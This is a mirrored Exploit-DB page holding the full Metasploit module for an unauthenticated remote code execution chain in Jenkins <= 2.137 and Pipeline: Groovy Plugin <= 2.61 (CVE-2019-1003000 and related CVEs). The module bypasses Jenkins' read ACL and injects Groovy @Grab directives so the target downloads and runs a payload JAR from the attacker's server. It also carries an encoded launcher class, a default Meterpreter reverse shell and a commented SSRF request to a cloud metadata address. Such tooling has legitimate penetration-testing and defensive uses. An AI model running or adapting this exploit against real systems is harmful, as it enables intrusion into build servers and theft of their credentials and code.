Jenkins 2.137 and Pipeline Groovy Plugin 2.61 – ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-03-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46572/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    include Msf::Exploit::Remote::HttpServer
    include Msf::Exploit::FileDropper
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'Jenkins ACL Bypass and Metaprogramming RCE',
    'Description'=> %q{
    This module exploits a vulnerability in Jenkins dynamic routing to
    bypass the Overall/Read ACL and leverage Groovy metaprogramming to
    download and execute a malicious JAR file.
    
    The ACL bypass gadget is specific to Jenkins <= 2.137 and will not work
    on later versions of Jenkins.
    
    Tested against Jenkins 2.137 and Pipeline: Groovy Plugin 2.61.
    },
    'Author' => [
    'Orange Tsai', # Discovery and PoC
    'wvu'# Metasploit module
    ],
    'References' => [
    ['CVE', '2019-1003000'], # Script Security
    ['CVE', '2019-1003001'], # Pipeline: Groovy
    ['CVE', '2019-1003002'], # Pipeline: Declarative
    ['EDB', '46427'],
    ['URL', 'https://jenkins.io/security/advisory/2019-01-08/'],
    ['URL', 'https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html'],
    ['URL', 'https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html'],
    ['URL', 'https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc']
    ],
    'DisclosureDate' => '2019-01-08', # Public disclosure
    'License'=> MSF_LICENSE,
    'Platform' => 'java',
    'Arch' => ARCH_JAVA,
    'Privileged' => false,
    'Targets'=> [
    ['Jenkins <= 2.137 (Pipeline: Groovy Plugin <= 2.61)',
    'Version'=> Gem::Version.new('2.137')
    ]
    ],
    'DefaultTarget'=> 0,
    'DefaultOptions' => {'PAYLOAD' => 'java/meterpreter/reverse_https'},
    'Notes'=> {
    'Stability'=> [CRASH_SAFE],
    'SideEffects'=> [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
    'Reliability'=> [REPEATABLE_SESSION]
    },
    'Stance' => Stance::Aggressive # Be aggressive, b-e aggressive!
    ))
    
    register_options([
    Opt::RPORT(8080),
    OptString.new('TARGETURI', [true, 'Base path to Jenkins', '/'])
    ])
    
    register_advanced_options([
    OptBool.new('ForceExploit', [false, 'Override check result', false])
    ])
    
    deregister_options('URIPATH')
    end
    
    =begin
    http://jenkins.local/securityRealm/user/admin/search/index?q=[keyword]
    =end
    def check
    checkcode = CheckCode::Safe
    
    res = send_request_cgi(
    'method' => 'GET',
    'uri'=> go_go_gadget1('/search/index'),
    'vars_get' => {'q' => 'a'}
    )
    
    unless res && (version = res.headers['X-Jenkins'])
    vprint_error('Jenkins not detected')
    return CheckCode::Unknown
    end
    
    vprint_status("Jenkins #{version} detected")
    checkcode = CheckCode::Detected
    
    if Gem::Version.new(version) > target['Version']
    vprint_error("Jenkins #{version} is not a supported target")
    return CheckCode::Safe
    end
    
    vprint_good("Jenkins #{version} is a supported target")
    checkcode = CheckCode::Appears
    
    if res.body.include?('Administrator')
    vprint_good('ACL bypass successful')
    checkcode = CheckCode::Vulnerable
    else
    vprint_error('ACL bypass unsuccessful')
    return CheckCode::Safe
    end
    
    checkcode
    end
    
    def exploit
    unless check == CheckCode::Vulnerable || datastore['ForceExploit']
    fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
    end
    
    # NOTE: Jenkins/Groovy/Ivy uses HTTP unconditionally, so we can't use HTTPS
    # HACK: Both HttpClient and HttpServer use datastore['SSL']
    ssl = datastore['SSL']
    datastore['SSL'] = false
    start_service('Path' => '/')
    datastore['SSL'] = ssl
    
    print_status('Sending Jenkins and Groovy go-go-gadgets')
    send_request_cgi(
    'method' => 'GET',
    'uri'=> go_go_gadget1,
    'vars_get' => {'value' => go_go_gadget2}
    )
    end
    
    #
    # Exploit methods
    #
    
    =begin
    http://jenkins.local/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword
    ?apiUrl=http://169.254.169.254/%23
    &login=orange
    &password=tsai
    =end
    def go_go_gadget1(custom_uri = nil)
    # NOTE: See CVE-2018-1000408 for why we don't want to randomize the username
    acl_bypass = normalize_uri(target_uri.path, '/securityRealm/user/admin')
    
    return normalize_uri(acl_bypass, custom_uri) if custom_uri
    
    normalize_uri(
    acl_bypass,
    '/descriptorByName',
    '/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile'
    )
    end
    
    =begin
    http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile
    ?value=
    @GrabConfig(disableChecksums=true)%0a
    @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a
    @Grab(group='tw.orange', module='poc', version='1')%0a
    import Orange;
    =end
    def go_go_gadget2
    (
    <<~EOF
    @GrabConfig(disableChecksums=true)
    @GrabResolver('http://#{srvhost_addr}:#{srvport}/')
    @Grab('#{vendor}:#{app}:#{version}')
    import #{app}
    EOF
    ).strip
    end
    
    #
    # Payload methods
    #
    
    #
    # If you deviate from the following sequence, you will suffer!
    #
    # HEAD /path/to/pom.xml -> 404
    # HEAD /path/to/payload.jar -> 200
    # GET/path/to/payload.jar -> 200
    #
    def on_request_uri(cli, request)
    vprint_status("#{request.method} #{request.uri} requested")
    
    unless %w[HEAD GET].include?(request.method)
    vprint_error("Ignoring #{request.method} request")
    return
    end
    
    if request.method == 'HEAD'
    if request.uri != payload_uri
    vprint_error('Sending 404')
    return send_not_found(cli)
    end
    
    vprint_good('Sending 200')
    return send_response(cli, '')
    end
    
    if request.uri != payload_uri
    vprint_error('Sending bogus file')
    return send_response(cli, "#{Faker::Hacker.say_something_smart}\n")
    end
    
    vprint_good('Sending payload JAR')
    send_response(
    cli,
    payload_jar,
    'Content-Type' => 'application/java-archive'
    )
    
    # XXX: $HOME may not work in some cases
    register_dir_for_cleanup("$HOME/.groovy/grapes/#{vendor}")
    end
    
    def payload_jar
    jar = payload.encoded_jar
    
    jar.add_file("#{app}.class", exploit_class)
    jar.add_file(
    'META-INF/services/org.codehaus.groovy.plugins.Runners',
    "#{app}\n"
    )
    
    jar.pack
    end
    
    =begin javac Exploit.java
    import metasploit.Payload;
    
    public class Exploit {
    public Exploit(){
    try {
    Payload.main(null);
    } catch (Exception e) { }
    
    }
    }
    =end
    def exploit_class
    klass = Rex::Text.decode_base64(
    <<~EOF
    yv66vgAAADMAFQoABQAMCgANAA4HAA8HABAHABEBAAY8aW5pdD4BAAMoKVYB
    AARDb2RlAQANU3RhY2tNYXBUYWJsZQcAEAcADwwABgAHBwASDAATABQBABNq
    YXZhL2xhbmcvRXhjZXB0aW9uAQAHRXhwbG9pdAEAEGphdmEvbGFuZy9PYmpl
    Y3QBABJtZXRhc3Bsb2l0L1BheWxvYWQBAARtYWluAQAWKFtMamF2YS9sYW5n
    L1N0cmluZzspVgAhAAQABQAAAAAAAQABAAYABwABAAgAAAA3AAEAAgAAAA0q
    twABAbgAAqcABEyxAAEABAAIAAsAAwABAAkAAAAQAAL/AAsAAQcACgABBwAL
    AAAA
    EOF
    )
    
    # Replace length-prefixed string "Exploit" with a random one
    klass.sub(/.Exploit/, "#{[app.length].pack('C')}#{app}")
    end
    
    #
    # Utility methods
    #
    
    def payload_uri
    "/#{vendor}/#{app}/#{version}/#{app}-#{version}.jar"
    end
    
    def vendor
    @vendor ||= Faker::App.author.split(/[^[:alpha:]]/).join
    end
    
    def app
    @app ||= Faker::App.name.split(/[^[:alpha:]]/).join
    end
    
    def version
    @version ||= Faker::App.semantic_version
    end
    
    end